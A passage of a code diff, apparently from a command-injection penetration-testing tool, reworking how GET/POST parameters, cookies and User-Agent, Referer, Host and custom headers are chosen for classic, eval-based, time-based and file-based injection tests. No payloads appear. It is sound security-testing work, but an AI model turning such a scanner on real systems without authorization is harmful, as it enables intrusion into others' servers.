len(procced_option) == 0: - settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False - settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - info_msg = "Setting the" - if not header_name == " cookie" and not the_type == " HTTP header": - info_msg += " " + str(http_request_method) + "" - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - if header_name == " cookie" : - info_msg += str(header_name) + str(the_type) + str(check_parameter) + " for tests." + if inject_http_headers: + checks.define_vulnerable_http_header(check_parameter) + + # User-Agent/Referer/Host/Custom HTTP header Injection(s) + if any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): + header_name = "" + the_type = "HTTP Header" + inject_parameter = " parameter '" + check_parameter + "'" else: - info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests." - print(settings.print_info_msg(info_msg)) - - if menu.options.failed_tries and \ - menu.options.tech and not "f" in menu.options.tech and not \ - menu.options.failed_tries: - warn_msg = "Due to the provided (unsuitable) injection technique" - warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " - warn_msg += "the option '--failed-tries' will be ignored." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - - # Procced with file-based semiblind command injection technique, - # once the user provides the path of web server's root directory. - if menu.options.web_root and \ - menu.options.tech and not "f" in menu.options.tech: - if not menu.options.web_root.endswith("/"): - menu.options.web_root = menu.options.web_root + "/" - if checks.procced_with_file_based_technique(): - menu.options.tech = "f" - - if settings.SKIP_COMMAND_INJECTIONS: - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - classic_command_injection_technique(url, timesec, filename, http_request_method) - else: - classic_command_injection_technique(url, timesec, filename, http_request_method) - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) - filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + if settings.COOKIE_INJECTION: + header_name = settings.COOKIE + else: + header_name = "" + the_type = " parameter" + inject_parameter = " '" + check_parameter + "'" + + # Estimating the response time (in seconds) + timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) + + # Load modules + modules_handler.load_modules(url, http_request_method, filename) + # checks.tamper_scripts(stored_tamper_scripts=False) + + settings.CHECKING_PARAMETER = "" + settings.TESTABLE_PARAMETER = check_parameter + if not header_name == settings.COOKIE and not the_type == "HTTP Header": + settings.CHECKING_PARAMETER = checks.check_http_method(url) + settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] + if header_name == settings.COOKIE : + settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter) + else: + settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) + + if check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST: + settings.CHECKING_PARAMETER = "(custom) " + settings.CHECKING_PARAMETER + + if not settings.LOAD_SESSION: + info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if menu.options.skip_heuristics: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + else: + if not settings.LOAD_SESSION: + checks.recognise_payload(payload=settings.TESTABLE_VALUE) + info_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + + if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech: + # Check for identified warnings + url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + checks.skip_testing(filename, url) + + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + settings.HEURISTIC_TEST.POSITIVE = False + warn_msg = "Heuristic (basic) tests shows that " + warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + + if (menu.options.smart and not settings.HEURISTIC_TEST.POSITIVE) or (menu.options.smart and menu.options.skip_heuristics): + info_msg = "Skipping " + info_msg += settings.CHECKING_PARAMETER + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.HEURISTIC_TEST.POSITIVE = True + else: + if menu.options.failed_tries and \ + menu.options.tech and not "f" in menu.options.tech and not \ + menu.options.failed_tries: + warn_msg = "Due to the provided (unsuitable) injection technique" + warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " + warn_msg += "the option '--failed-tries' will be ignored." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + # Procced with file-based semiblind command injection technique, + # once the user provides the path of web server's root directory. + if menu.options.web_root and settings.USER_APPLIED_TECHNIQUE and not "f" in menu.options.tech: + if not menu.options.web_root.endswith("/"): + menu.options.web_root = menu.options.web_root + "/" + if checks.procced_with_file_based_technique(): + menu.options.tech = "f" + + settings.START_SCANNING = True + classic_command_injection_technique(url, timesec, filename, http_request_method) + dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) + timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + + # All injection techniques seems to be failed! + if checks.injection_techniques_status() == False: + warn_msg = "The tested " + warn_msg += settings.CHECKING_PARAMETER + warn_msg += " does not seem to be injectable." + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + else: + if settings.LOAD_SESSION: + checks.quit(filename, url, _ = False) - # All injection techniques seems to be failed! - if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : - warn_msg = "The tested" - if header_name != " cookie" and the_type != " HTTP header": - warn_msg += " " + str(http_request_method) + "" - warn_msg += str(the_type) + str(header_name) + str(check_parameter) - warn_msg += " seems to be not injectable." - print(settings.print_warning_msg(warn_msg)) + if not settings.CHECK_BOTH_OS: + break """ -Inject HTTP headers (User-agent / Referer / Host) (if level > 2). +Perform checks over custom HTTP Headers parameters. +""" +def custom_headers_checks(url, http_request_method, filename, timesec): + # # Disable Cookie Injection + # settings.COOKIE_INJECTION = None + + for name in range(len(settings.CUSTOM_HEADERS_NAMES)): + if settings.ASTERISK_MARKER in settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_HEADER_INJECTION = False + else: + settings.CUSTOM_HEADER_INJECTION = True + settings.CUSTOM_HEADER_NAME = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[0] + settings.HTTP_HEADER = check_parameter = header_name = settings.CUSTOM_HEADER_NAME.lower() + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(check_parameter) if check_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.CUSTOM_HEADER_VALUE = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1].replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.CUSTOM_HEADER_INJECTION = False + settings.CUSTOM_HEADERS_NAMES[name] = checks.remove_tags(settings.CUSTOM_HEADERS_NAMES[name]) + settings.CUSTOM_HEADER_INJECTION = False + +""" +Inject HTTP headers parameters (User-agent / Referer / Host). """ def http_headers_injection(url, http_request_method, filename, timesec): - # Disable Cookie Injection - settings.COOKIE_INJECTION = False - def user_agent_injection(url, http_request_method, filename, timesec): + def user_agent_injection(url, http_request_method, filename, timesec): user_agent = menu.options.agent - if not menu.options.shellshock: - menu.options.agent = settings.INJECT_TAG settings.USER_AGENT_INJECTION = True - if settings.USER_AGENT_INJECTION: - check_parameter = header_name = " User-Agent" - settings.HTTP_HEADER = header_name[1:].replace("-","").lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.USER_AGENT_INJECTION = False + settings.HTTP_HEADER = check_parameter = header_name = settings.USER_AGENT.lower() + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.USER_AGENT_INJECTION = None menu.options.agent = user_agent def referer_injection(url, http_request_method, filename, timesec): referer = menu.options.referer - if not menu.options.shellshock: - menu.options.referer = settings.INJECT_TAG settings.REFERER_INJECTION = True - if settings.REFERER_INJECTION: - check_parameter = header_name = " Referer" - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.REFERER_INJECTION = False - menu.options.agent = referer + settings.HTTP_HEADER = check_parameter = header_name = settings.REFERER.lower() + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.REFERER_INJECTION = None + menu.options.referer = referer def host_injection(url, http_request_method, filename, timesec): - if not menu.options.shellshock: - menu.options.host = settings.INJECT_TAG + host = menu.options.host settings.HOST_INJECTION = True - if settings.HOST_INJECTION: - check_parameter = header_name = " Host" - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.HOST_INJECTION = False - - # User-Agent HTTP header injection - if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or "user-agent" in menu.options.test_parameter.lower(): - user_agent_injection(url, http_request_method, filename, timesec) + settings.HTTP_HEADER = check_parameter = header_name = settings.HOST.lower() + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + if check_parameter != header_name and not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.HOST_INJECTION = None + menu.options.host = host + + if not any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)) and \ + menu.options.test_parameter == None and \ + menu.options.skip_parameter == None: + user_agent_injection(url, http_request_method, filename, timesec) + referer_injection(url, http_request_method, filename, timesec) + host_injection(url, http_request_method, filename, timesec) else: - if "user-agent" not in menu.options.skip_parameter.lower(): - user_agent_injection(url, http_request_method, filename, timesec) - - # Referer HTTP header injection - if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or "referer" in menu.options.test_parameter.lower(): + # User-Agent HTTP header injection + if settings.USER_AGENT_INJECTION or \ + (type(menu.options.test_parameter) is str and settings.USER_AGENT.lower() in menu.options.test_parameter.lower()) or \ + (type(menu.options.skip_parameter) is str and settings.USER_AGENT.lower() not in menu.options.skip_parameter.lower()): + user_agent_injection(url, http_request_method, filename, timesec) + # Referer HTTP header injection + if settings.REFERER_INJECTION or \ + (type(menu.options.test_parameter) is str and settings.REFERER.lower() in menu.options.test_parameter.lower()) or \ + (type(menu.options.skip_parameter) is str and settings.REFERER.lower() not in menu.options.skip_parameter.lower()): referer_injection(url, http_request_method, filename, timesec) - else: - if "referer" not in menu.options.skip_parameter.lower(): - referer_injection(url, http_request_method, filename, timesec) - - # Host HTTP header injection - if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or "host" in menu.options.test_parameter.lower(): + # Host HTTP header injection + if settings.HOST_INJECTION or \ + (type(menu.options.test_parameter) is str and settings.HOST.lower() in menu.options.test_parameter.lower()) or \ + (type(menu.options.skip_parameter) is str and settings.HOST.lower() not in menu.options.skip_parameter.lower()): host_injection(url, http_request_method, filename, timesec) - else: - if "host" not in menu.options.skip_parameter.lower(): - host_injection(url, http_request_method, filename, timesec) """ -Check for stored injections on User-agent / Referer headers (if level > 2). -""" -def stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec): - - for check_parameter in settings.HTTP_HEADERS: - settings.HTTP_HEADER = check_parameter - if check_for_stored_sessions(url, http_request_method): - if check_parameter == "referer": - menu.options.referer = settings.INJECT_TAG - settings.REFERER_INJECTION = True - elif check_parameter == "host": - menu.options.host= settings.INJECT_TAG - settings.HOST_INJECTION = True - else: - menu.options.agent = settings.INJECT_TAG - settings.USER_AGENT_INJECTION = True - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - - if not settings.LOAD_SESSION: - http_headers_injection(url, http_request_method, filename, timesec) - - -""" -Cookie injection +Inject Cookie parameters """ def cookie_injection(url, http_request_method, filename, timesec): + if not menu.options.cookie: + check_parameter = settings.COOKIE.lower() + check_for_stored_sessions(url, check_parameter, http_request_method) - settings.COOKIE_INJECTION = True - - # Cookie Injection - if settings.COOKIE_INJECTION == True: - cookie_value = menu.options.cookie - - header_name = " cookie" + cookie = menu.options.cookie + if cookie: + settings.COOKIE_INJECTION = True + # Cookie Injection + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE settings.HTTP_HEADER = header_name[1:].lower() cookie_parameters = parameters.do_cookie_check(menu.options.cookie) if type(cookie_parameters) is str: cookie_parameters_list = [] cookie_parameters_list.append(cookie_parameters) cookie_parameters = cookie_parameters_list + # Remove whitespaces + cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] + do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) - # Remove whitespaces - cookie_parameters = [x.replace(" ", "") for x in cookie_parameters] - - check_parameters = [] - for i in range(0, len(cookie_parameters)): - menu.options.cookie = cookie_parameters[i] - check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - check_parameters.append(check_parameter) - - checks.print_non_listed_params(check_parameters, http_request_method, header_name) - - for i in range(0, len(cookie_parameters)): - parameter = menu.options.cookie = cookie_parameters[i] - check_parameter = parameters.specify_cookie_parameter(parameter) - if check_parameter != parameter: - if len(check_parameter) > 0: - settings.TESTABLE_PARAMETER = check_parameter - - # Check if testable parameter(s) are provided - if len(settings.TEST_PARAMETER) > 0: - if menu.options.test_parameter != None: - param_counter = 0 - for check_parameter in check_parameters: - if check_parameter in "".join(settings.TEST_PARAMETER).split(","): - menu.options.cookie = cookie_parameters[param_counter] - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - param_counter += 1 - break - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION: # Restore cookie value - menu.options.cookie = cookie_value - # Disable cookie injection + menu.options.cookie = cookie + # Disable cookie injection settings.COOKIE_INJECTION = False + +""" +Perform the injection proccess +""" +def do_injection(found, data_type, header_name, url, http_request_method, filename, timesec): + + def define_check_parameter(found, i, url): + if data_type == settings.HTTPMETHOD.POST: + menu.options.data = found[i] + check_parameter = parameters.vuln_POST_param(found[i], url) + if data_type == settings.HTTPMETHOD.GET: + url = found[i] + check_parameter = parameters.vuln_GET_param(url) + if data_type == settings.COOKIE: + menu.options.cookie = found[i] + check_parameter = parameters.specify_cookie_parameter(found[i]) + return url, check_parameter + + # Check if multiple parameters + check_parameters = [] + for i in range(0, len(found)): + url, check_parameter = define_check_parameter(found, i, url) + check_parameters.append(check_parameter) + checks.testable_parameters(url, check_parameters, header_name) + + for i in range(0, len(found)): + url, check_parameter = define_check_parameter(found, i, url) + if check_parameter != found[i] and check_parameter not in settings.SKIP_PARAMETER: + if len(check_parameter) > 0: + settings.TESTABLE_PARAMETER = check_parameter + if len(settings.TESTABLE_PARAMETER) > 0: + if settings.TESTABLE_PARAMETERS_LIST and not settings.CUSTOM_INJECTION_MARKER: + counter = 0 + for check_parameter in check_parameters: + if settings.TESTABLE_PARAMETERS_LIST.count(check_parameter) != 0: + url, check_parameter = define_check_parameter(found, counter, url) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + counter += 1 + break + elif settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and settings.CUSTOM_INJECTION_MARKER: + counter = 0 + for check_parameter in check_parameters: + if settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.count(check_parameter) != 0: + url, check_parameter = define_check_parameter(found, counter, url) + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + counter += 1 + break + else: + if not (check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and not settings.CUSTOM_INJECTION_MARKER): + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + else: + url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + """ Check if HTTP Method is GET. -""" +""" def get_request(url, http_request_method, filename, timesec): - #if not settings.COOKIE_INJECTION: found_url = parameters.do_GET_check(url, http_request_method) - if found_url != False: - - check_parameters = [] - for i in range(0, len(found_url)): - url = found_url[i] - check_parameter = parameters.vuln_GET_param(url) - check_parameters.append(check_parameter) - - header_name = "" - checks.print_non_listed_params(check_parameters, http_request_method, header_name) - - for i in range(0, len(found_url)): - url = found_url[i] - check_parameter = parameters.vuln_GET_param(url) - if check_parameter != url: - if len(check_parameter) > 0: - settings.TESTABLE_PARAMETER = check_parameter - - # Check if testable parameter(s) are provided - if len(settings.TESTABLE_PARAMETER) > 0: - if menu.options.test_parameter != None: - url_counter = 0 - for check_parameter in check_parameters: - if check_parameter in "".join(settings.TEST_PARAMETER).split(","): - url = found_url[url_counter] - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - url_counter += 1 - break - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + header_name = "" - # Enable Cookie Injection - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and menu.options.cookie: - settings.COOKIE_INJECTION = True + if found_url != False: + do_injection(found_url, settings.HTTPMETHOD.GET, header_name, url, http_request_method, filename, timesec) """ Check if HTTP Method is POST. -""" +""" def post_request(url, http_request_method, filename, timesec): - # Check if HTTP Method is POST. - parameter = menu.options.data + parameter = settings.USER_DEFINED_POST_DATA found_parameter = parameters.do_POST_check(parameter, http_request_method) + header_name = "" - # Check if singe entry parameter if type(found_parameter) is str: found_parameter_list = [] found_parameter_list.append(found_parameter) found_parameter = found_parameter_list - if settings.IS_XML: + if any((settings.IS_JSON, settings.IS_XML)): # Remove junk data found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] - else: - # Remove whitespaces - found_parameter = [x.replace(" ", "") for x in found_parameter] + else: + # Remove whitespaces + found_parameter = [x.replace(settings.SINGLE_WHITESPACE, "") for x in found_parameter] - # Check if multiple parameters - check_parameters = [] - for i in range(0, len(found_parameter)): - parameter = menu.options.data = found_parameter[i] - check_parameter = parameters.vuln_POST_param(parameter, url) - check_parameters.append(check_parameter) + do_injection(found_parameter, settings.HTTPMETHOD.POST, header_name, url, http_request_method, filename, timesec) - header_name = "" - checks.print_non_listed_params(check_parameters, http_request_method, header_name) +""" +Perform GET / POST parameters checks +""" +def data_checks(url, http_request_method, filename, timesec): + settings.CUSTOM_HEADER_INJECTION = False + + init_cookie_injection_status() + if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: + if post_request(url, http_request_method, filename, timesec) is None: + if not settings.SKIP_NON_CUSTOM: + get_request(url, http_request_method, filename, timesec) + else: + if get_request(url, http_request_method, filename, timesec) is None: + if settings.USER_DEFINED_POST_DATA: + if not settings.SKIP_NON_CUSTOM: + post_request(url, http_request_method, filename, timesec) - for i in range(0, len(found_parameter)): - #if settings.INJECT_TAG in found_parameter[i]: - parameter = menu.options.data = found_parameter[i] - check_parameter = parameters.vuln_POST_param(parameter, url) - if check_parameter != parameter: - if len(check_parameter) > 0: - settings.TESTABLE_PARAMETER = check_parameter - # Check if testable parameter(s) are provided - if len(settings.TESTABLE_PARAMETER) > 0: - if menu.options.test_parameter != None: - param_counter = 0 - for check_parameter in check_parameters: - if check_parameter in "".join(settings.TEST_PARAMETER).split(","): - menu.options.data = found_parameter[param_counter] - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - param_counter += 1 - break - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) +""" +Perform checks over cookie values. +""" +def cookies_checks(url, http_request_method, filename, timesec): + if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in str(menu.options.cookie)]) != 0 or \ + settings.INJECTION_MARKER_LOCATION.COOKIE or \ + settings.COOKIE_INJECTION: + if not settings.SKIP_NON_CUSTOM: + cookie_injection(url, http_request_method, filename, timesec) - # Enable Cookie Injection - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and menu.options.cookie: - settings.COOKIE_INJECTION = True +""" +Perform checks over HTTP Headers parameters. +""" +def headers_checks(url, http_request_method, filename, timesec): + if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in settings.HTTP_HEADERS]) != 0 or \ + settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS or settings.HTTP_HEADERS_INJECTION or \ + any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)): + if not settings.SKIP_NON_CUSTOM: + http_headers_injection(url, http_request_method, filename, timesec) """ Perform checks """ def perform_checks(url, http_request_method, filename): - - def basic_level_checks(): - if not menu.options.bulkfile: - settings.PERFORM_BASIC_SCANS = False - else: - settings.PERFORM_BASIC_SCANS = True - settings.SKIP_CODE_INJECTIONS = False - settings.SKIP_COMMAND_INJECTIONS = False - settings.IDENTIFIED_WARNINGS = False - settings.IDENTIFIED_PHPINFO = False - # Check if HTTP Method is GET. - if not menu.options.data: - get_request(url, http_request_method, filename, timesec) - # Check if HTTP Method is POST. - else: - post_request(url, http_request_method, filename, timesec) + # Initiate whitespaces + if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1: + settings.WHITESPACES = [_urllib.parse.quote(SINGLE_WHITESPACE)] timesec = settings.TIMESEC # Check if authentication is needed. if menu.options.auth_url and menu.options.auth_data: # Do the authentication process. - authentication.authentication_process() - - # Check if authentication page is the same with the next (injection) URL - if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): - err_msg = "It seems that the authentication procedure has failed." - print(settings.print_critical_msg(err_msg)) + authentication.authentication_process(http_request_method) + try: + # Check if authentication page is the same with the next (injection) URL + if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): + err_msg = "Authentication failed using the specified credentials and URL." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - elif menu.options.auth_url or menu.options.auth_data: - err_msg = "You must specify both login panel URL and login parameters." - print(settings.print_critical_msg(err_msg)) + elif menu.options.auth_url or menu.options.auth_data: + err_msg = "Authentication requires specifying both '--auth-url' and '--auth-data' options." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: pass if menu.options.shellshock: - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - else: - check_for_stored_levels(url, http_request_method) - - if settings.PERFORM_BASIC_SCANS: - basic_level_checks() - - # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2). - if menu.options.level >= settings.HTTP_HEADER_INJECTION_LEVEL: - if settings.INJECTED_HTTP_HEADER == False : - check_parameter = "" - stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec) + settings.INJECTION_LEVEL = settings.HTTP_HEADER_INJECTION_LEVEL else: - # Enable Cookie Injection - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL: - if menu.options.cookie: - cookie_injection(url, http_request_method, filename, timesec) - else: - warn_msg = "The HTTP Cookie header is not provided, " - warn_msg += "so this test is going to be skipped." - print(settings.print_warning_msg(warn_msg)) - else: - # Custom header Injection - if settings.CUSTOM_HEADER_INJECTION == True: - check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.CUSTOM_HEADER_INJECTION = None - + if settings.INJECTION_LEVEL != settings.DEFAULT_INJECTION_LEVEL and settings.CUSTOM_INJECTION_MARKER != True: + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL + + _ = True + if settings.CUSTOM_INJECTION_MARKER: + _ = False + if any((settings.INJECTION_MARKER_LOCATION.URL, settings.INJECTION_MARKER_LOCATION.DATA)): + data_checks(url, http_request_method, filename, timesec) + if settings.INJECTION_MARKER_LOCATION.COOKIE: + cookies_checks(url, http_request_method, filename, timesec) + if settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS: + headers_checks(url, http_request_method, filename, timesec) + if settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS: + custom_headers_checks(url, http_request_method, filename, timesec) + # if settings.TESTABLE_PARAMETERS_LIST or (settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA) or (settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL): + # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: + if settings.TESTABLE_PARAMETERS_LIST or len(settings.USER_DEFINED_POST_DATA) != 0 and any((settings.INJECTION_MARKER_LOCATION.URL, settings.INJECTION_MARKER_LOCATION.DATA)): + checks.process_non_custom() + + if not settings.SKIP_NON_CUSTOM: + settings.CUSTOM_INJECTION_MARKER = False + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: + data_checks(url, http_request_method, filename, timesec) + if _: + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: + # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: + settings.COOKIE_INJECTION = True + cookies_checks(url, http_request_method, filename, timesec) + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: + # if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: + settings.HTTP_HEADERS_INJECTION = True + headers_checks(url, http_request_method, filename, timesec) if settings.INJECTION_CHECKER == False: return False else: - return True + return True """ General check on every injection technique. """ def do_check(url, http_request_method, filename): - # Check for '--tor' option. - if menu.options.tor: - if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: - warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " - warn_msg += "time-based injections because of inherent high latency time." - print(settings.print_warning_msg(warn_msg)) - - # Check for "backticks" tamper script. - if settings.USE_BACKTICKS == True: - if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: - warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. " - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - - # Check for "wizard" switch. - if menu.options.wizard: - if perform_checks(url, http_request_method, filename) == False: - scan_level = menu.options.level - while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True: - while True: - if not menu.options.batch: - question_msg = "Do you want to increase to '--level=" + str(scan_level + 1) - question_msg += "' in order to perform more tests? [Y/n] > " - next_level = _input(settings.print_question_msg(question_msg)) - else: - next_level = "" - if len(next_level) == 0: - next_level = "Y" - if next_level in settings.CHOICE_YES: - menu.options.level = int(menu.options.level + scan_level) - if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : - scan_level = scan_level + 1 - else: - break - elif next_level in settings.CHOICE_NO: - break - elif next_level in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + next_level + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: + try: + if settings.RECHECK_FILE_FOR_EXTRACTION: + settings.RECHECK_FILE_FOR_EXTRACTION = False + + # Check for '--tor' option. + if menu.options.tor: + if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: + warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " + 